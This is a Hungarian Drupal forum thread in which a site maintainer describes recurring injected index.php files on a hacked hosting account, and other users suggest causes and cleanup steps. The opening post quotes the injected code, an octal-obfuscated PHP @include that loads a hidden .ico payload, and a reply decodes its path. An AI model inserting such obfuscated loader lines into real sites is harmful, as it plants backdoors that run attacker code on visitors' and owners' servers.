Sziasztok!
Az egyik általam felügyelt weblap tárhelyszolgáltatója (T-Systems) pár hete jelzett, hogy szerintük feltörték az oldalt és fertőzött fájlok vannak a tárhelyen. Természetesen komolyan vettem, átböngésztem minden egyes mappát, és a mappákban véletlenszerűen elhelyezve találtam oda nem illő index.php fájlokat, pl ezzel a tartalommal:
"
/*7caae*/ @include "\057v\141r\057w\167w\057k\145n\147y\145l\056h\165/\150t\155l\057m\157d\165l\145s\057l\157c\141l\145/\0568\0605\1438\0630\067.\151c\157"; /*7caae*/ " A drupal gyökerében levő index.php elejére is hasonló kódok "szúródtak" be valahogy. Sosem láttam még ilyet, ki is töröltem mindet, majd egy bikaerős, teljesen véletlenszerűen generált és jó hosszú jelszóra változtattam a régi ftp tárhely jelszót és a drupal admin jelszavát is, persze nem ugyanarra a kettőt. Vagy két hét múlva kíváncsiságból újra ellenőriztem a mappákat, megint találtam ilyen index.php fájlokat és idegen kódot a gyökér index.php fájlban. Az oldal működésében egyébként nem veszek észre változást, nem tűnt el semmi, nincs más plusz fájl sehol, a sebessége is a régi. Ez az egy oldal van az általam felügyelt oldalak közül, ami a T-Systems-nél van, a többi más és más szolgáltatóknál, és egyik másiknál sem találtam hasonló dolgokat. A T-Systems nem mond semmit, hogy szerintük hogy kerülhettek oda az oda nem illő dolgok a jelszóváltoztatás óta, de hozzá teszem, hogy velük kommunikálni is borzasztó nehéz, mint úgy általában a gigacégekkel. Még annyit, hogy természetesen mindig a legfrissebb drupal verzió van feltöltve. Nem kérdés, hogy rábeszélem az ügyfelet és el fogom onnan vitetni a tárhelyet, de addig is idegesítő a dolog. Valami tipp vagy tapasztalat van-e bárkinek, hogy mivel állok szemben? Köszönettel: Sisi
Taxonomy upgrade extras:
Fórum:
Elbénáztam a kód beszúrást
és ezért a következő szöveg is kód lett:
A drupal gyökerében levő index.php elejére is hasonló kódok "szúródtak" be valahogy.
Sosem láttam még ilyet, ki is töröltem mindet, majd egy bikaerős, teljesen véletlenszerűen generált és jó hosszú jelszóra változtattam a régi ftp tárhely jelszót és a drupal admin jelszavát is, persze nem ugyanarra a kettőt.
Vagy két hét múlva kíváncsiságból újra ellenőriztem a mappákat, megint találtam ilyen index.php fájlokat és idegen kódot a gyökér index.php fájlban.
Az oldal működésében egyébként nem veszek észre változást, nem tűnt el semmi, nincs más plusz fájl sehol, a sebessége is a régi.
Ez az egy oldal van az általam felügyelt oldalak közül, ami a T-Systems-nél van, a többi más és más szolgáltatóknál, és egyik másiknál sem találtam hasonló dolgokat.
A T-Systems nem mond semmit, hogy szerintük hogy kerülhettek oda az oda nem illő dolgok a jelszóváltoztatás óta, de hozzá teszem, hogy velük kommunikálni is borzasztó nehéz, mint úgy általában a gigacégekkel.
Még annyit, hogy természetesen mindig a legfrissebb drupal verzió van feltöltve.
Nem kérdés, hogy rábeszélem az ügyfelet és el fogom onnan vitetni a tárhelyet, de addig is idegesítő a dolog.
Valami tipp vagy tapasztalat van-e bárkinek, hogy mivel állok szemben?
Köszönettel:
Sisi
Szia, a fenti kod egy fajlt
Szia, a fenti kod egy fajlt tolt be, konkretan:
/var/www/kengyel.hu/html/modules/locale/.805c8307.ico .
A pont a fajl elejen azt mutatja, hogy rejtett fajlrol van szo.
En kivancsisagbol sem neznem meg, hogy mi is van a fenti fajlban, torolnem inkabb.
Az ftp-hez pedig annyit, hogy lehet nagyon bonyolult a jelszo, de mivel nincs titkositva sem az adatforgalom, sem maga a jelszo, ezert konnyen megszerezheto annak, aki ezt nagyon akarja.
Re
Le is töröltem és átnéztem egyenként mindent, van-e még ilyesmi máshol is, de nem találtam szerencsére.
xmlrpc
Nekem kb. fél éve volt két honlapnál is, aminek írásában közreműködtem ugyanez. Ráadásul mindkettő honlap két különböző tárhelyszolgáltatónál üzemel. A gyanús index.php fájlok (+ egyéb php fájlok!) kigyomlálása után néhány nap múlva visszaíródtak ezek a kódok.
A megoldás nálam az lett, hogy a drupal gyökeréból az xmlrpc fájlt töröltem. Úgy látom, azóta nem volt nálam ilyen behatolás, úgyhogy valószínű az xmlrpc fájlon keresztül történhet ez a fajta támadás.
jelszóváltás sajnos kevés
Sajnos szerintem a jelszóváltás ilyenkor már kevés.
Új jelszó kell, ez oké, de újra kell telepíteni a drupalt is és az adatbázist is.
Újra kell másolni a tiszta core és modul fájlokkal, valamint új és tiszta adatbázis is kell.
Ha nem gyakran változott az oldal tartalma és kevés oldalból áll, akkor 0-ról újra létrehoznám a helyedben.
Ha több az oldal, akkor a tárhelyet meg kellene kérdezni valami backupjuk nincs-e régebbről.
Ha neked nincs esetleg... a backup&migrate modul hasznos ilyen esetekre a későbbiekre.
Hmm...
A helyedben megváltoztatnám az összes jelszót, amivel a tárhelyhez hozzá lehet férni, beleértve akár az ügyfélkapus jelszót, ha van ilyen. Van ahol a webes és az ftp jelszó más. Még nem volt oldalam a T-seknél, így nem ismerem a rendszerüket. Ha van lehetőség ftps használatára, akkor használd inkább azt. Még akkor is, ha a szolgáltató csak egy ön-aláírt tanúsítványt használ. A semminél ez is jobb. Mindenhol használj összetett legalább 16-32 karakterből álló jelszót, ha a rendszer engedi. Lehetőleg legyen benne szám, kis és nagybetű, valamint legalább egy speciális karakter is.
A rendszert tisztán újra kéne rakni, ha lehet, mert lehetnek benne beépített hátsókapuk. Ekkor pedig hiába a jelszócsere, valamint a biztonságos kapcsolat. A biztonsági beállításokat a drupal-ban és a szerveren is nézd át. Remélhetőleg a drupal modulok közt nincs sérülékeny.
Ezek után, ha újra megtörténik a probléma, akkor vagy a T szolgáltató rendszerében van valami probléma, vagy mégis sérülékeny a felépített drupal oldal, valamely komponense. Illetve persze a gépedet is feltörhetik, amin át fejlesztesz, de, ha figyelsz a biztonságra, akkor az esélye kicsi. Sőt igen extrém esetben a router-edet is feltörhetik, vagy a router wifi hálózatát. Viszont ekkor nem csak ez az egy oldalad lenne érintett valószínűleg.
A BKV incidens óta a T-Systems renoméja jócskán megkopott. Remélhetőleg egyéb rendszereiket rendesen megcsinálják és karbantartják. Ugyanakkor védelmükben elmondható, hogy, ha a rendszerük sebezhető, akkor nem csak a te oldaladdal lenne probléma, hanem tömeges lenne a jelenség.
Re
Van mentés meg backup meg minden, kb 2 hetente mindent archiválok, és az a helyzet, hogy a T-Systems jelzése után egy teljesen tiszta telepítés is megtörtént.
Minden egyes más szolgáltatónál levő oldalt átböngésztem, sehol sincs ilyen. Gondolom, ha a gépem hekkelték meg, akkor máshol is lenne gyanús dolog, de semmi. Van rendes víruskereső, tűzfal, ami kell, a router is agyon van jelszavazva, a wifi kódom 120 karakter :)
Tényleg nem tudom hova tenni ezt. Sajnos a T-Systems ügyfélszolgálata olyan, hogy ha valamire nem tudnak válaszolni (elég sűrűn), akkor ad egy support telszámot, amit soha senki nem vesz fel. Email-re legalább 2-3 nap után reagálnak, hogy hívjam a számot, amit adtak:)
Az is vicces volt, amikor kértem tőlük egy log bejegyzést, vagy valamit, hogy ők mit látnak fertőzöttnek, honnan milyen IP-ről jöhetett a hekker, erre mondják, hogy a tárhelyen a LOG mappát nézzem meg. Aha, csak hozzáférést nem biztosítanak.
Szóval elvitetek a tárhelyükről mindent, csak ez is idő, ráadásul van vagy 40 email cím is náluk, és már tapasztaltam, hogy költözésnél akár 1-2 hét is kieshet az email szolgáltatásban, mert a T csoport malmai lassan őrölnek.
Szerintem kár energiát
Szerintem kár energiát pazarolni erre, hiszen ez a német gyökerű cég már bizonyított, lásd. pl. a könnyen feltörhető BKV jegyrendszert.
Költözni.
Szia.
Szia.
Nem biztos hogy feltort ftp okozza. Talalkoztam mar hasonloval szuperul vedett webkornyezetben is.Eleg egyetlen nem jol vedett konyvtar (ertsd rosszul konfiguralt), es az ehhez hasonlo tamadasok elaraszthatjak a weboldalat.
Hasznalhatod ezt a script-et is, ami automatizaltan beallitja a helyes konyvtar es fajl jogosultsagokat:
https://www.drupal.org/node/244924#script-based-on-guidelines-given-above
Szinte biztos vagyok benne hogy nem csak index.php-ket gyartott a tamado robot, hanem meglevo fajlokba is beepult (pl. settings.php, stb.). Ezek felderiteset is lehet script-tel vegezni, ha megvan par minta hogy mit epitett be a robot.
Udv,
Zoli
Feltéve, ha van joga a script futtatásához...
A legtöbb egyszerűbb tárhelyen ilyen szkripteket nem engednek futtatni, aminek biztonsági okai vannak.
Amúgy igazad van a megfelelő jogosultság beállítás sem elhanyagolható.
Ha a szkript nem is futtatható a jogosultságok szabadon beállíthatók az egyszerűbb normális tárhelyeken is.